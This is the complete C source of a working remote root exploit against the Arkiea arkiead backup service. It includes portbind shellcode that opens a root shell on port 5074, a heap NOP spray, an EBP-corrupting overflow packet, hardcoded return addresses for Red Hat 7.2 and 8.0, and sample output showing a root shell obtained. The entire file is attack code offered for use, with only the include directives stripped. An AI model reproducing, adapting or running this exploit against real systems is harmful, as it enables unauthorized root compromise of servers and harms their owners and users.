/*
* Knox Arkiea arkiead local/remote root exploit.
*
* Portbind 5074 shellcode
*
* Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
*
* NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
* A previous request forces a large allocation of NOP's + shellcode in heap
* memory. Find additional targets by searching the heap for NOP's after a
* crash. safeaddr must point to any area of memory that is read/writable
* and won't mess with program/shellcode flow.
*
* ./ark_sink host targetnum
* [user@host dir]$ ./ark_sink 192.168.1.2 1
* [*] Connected to 192.168.1.2:617
* [*] Connected to 192.168.1.2:617
* [*] Sending nops+shellcode
* [*] Done, sleeping
* [*] Sending overflow
* [*] Done
* [*] Sleeping and connecting remote shell
* [*] Connected to 192.168.1.2:5074
* [*] Success, enjoy
* id
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
*
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define BUFLEN 10000 /* for getshell() */
#define LEN 280 /* overflow packet data section */
#define HEAD_LEN 8 /* overflow packet header */
#define NOP_LEN 10000 /* nop+shellcode packet */
#define ARK_PORT 617
#define SHELL_PORT 5074
#define NOP 0x90
#define NUMTARGS 2
struct {
char *os;
unsigned int targret;
unsigned int targsafe;
} targets[] = {
{ "Redhat 8.0", 0x80ecf90, 0x080eb940 },
{ "Redhat 7.2", 0x80eddc0, 0x080eb940 },
NULL
};
/* portbind 5074 */
const char shellcode[] =
"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
unsigned int resolve(char *hostname)
{
u_long ip = 0;
struct hostent *hoste;
if ((int)(ip = inet_addr(hostname)) == -1)
{
if ((hoste = gethostbyname(hostname)) == NULL)
{
herror("[!] gethostbyname");
exit(-1);
}
memcpy(&ip, hoste->h_addr, hoste->h_length);
}
return(ip);
}
int isock(char *hostname, int portnum)
{
struct sockaddr_in sock_a;
int num, sock;
unsigned int ip;
fd_set input;
sock_a.sin_family = AF_INET;
sock_a.sin_port = htons(portnum);
sock_a.sin_addr.s_addr = resolve(hostname);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
herror("[!] accept");
exit(-1);
}
if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
{
herror("[!] connect");
exit(-1);
}
fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
return(sock);
}
int getshell(int sock)
{
char buf[BUFLEN];
int nread=0;
while(1)
{
fd_set input;
FD_SET(0,&input);
FD_SET(sock,&input);
select(sock+1,&input,NULL,NULL,NULL);
if(FD_ISSET(sock,&input))
{
nread=read(sock,buf,BUFLEN);
write(1,buf,nread);
}
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}
int usage(char *progname)
{
int i;
fprintf(stderr, "Usage:\n./%s hostname target_num\n");
for (i = 0; targets[i].os; i++)
fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
exit(-1);
}
int main( int argc, char **argv)
{
/* first 2 bytes are a type 74 request */
/* last two bytes length */
char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
char data[512];
char sc_req[20000];
char *host;
unsigned int tnum;
unsigned int safeaddr;
unsigned int ret;
int datalen = LEN;
int port = ARK_PORT;
unsigned int addr = 0;
int sock_overflow, sock_nops, sock_shell;
int i;
if (argc == 3)
{
host = argv[1];
tnum = atoi(argv[2]);
if (tnum > NUMTARGS || tnum == 0)
{
fprintf(stderr, "[!] Invalid target\n");
usage(argv[0]);
}
}
else
{
usage(argv[0]);
}
tnum--;
ret = targets[tnum].targret;
safeaddr = targets[tnum].targsafe;
sock_overflow = sock_nops = sock_shell = 0;
sock_nops = isock(host, port);
sock_overflow = isock(host, port);
// build data section of overflow packet
memset(data, 0x90, datalen);
for (i = 0; i < datalen; i += 4)
memcpy(data+i, (char *)&ret, 4);
// we overwrite a pointer that must be a valid address
memcpy(data+datalen-12, (char *)&safeaddr, 4);
// build header of overflow packet
datalen = ntohs(datalen);
memcpy(head+6, (char *)&datalen, 2);
// build invalid packet with nops+shellcode
memset(sc_req, 0x90, NOP_LEN+1);
memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));
// send invalid nop+shellcode packet
fprintf(stderr, "[*] Sending nops+shellcode\n");
write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
fprintf(stderr, "[*] Done, sleeping\n");
sleep(1);
close(sock_nops);
// send overflow
fprintf(stderr, "[*] Sending overflow\n");
write(sock_overflow, head, HEAD_LEN);
write(sock_overflow, data, LEN);
fprintf(stderr, "[*] Done\n");
fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
sleep (1);
close(sock_overflow);
// connect to shell
sock_shell = isock(host, SHELL_PORT);
fprintf(stderr, "[*] Success, enjoy\n");
getshell(sock_shell);
}
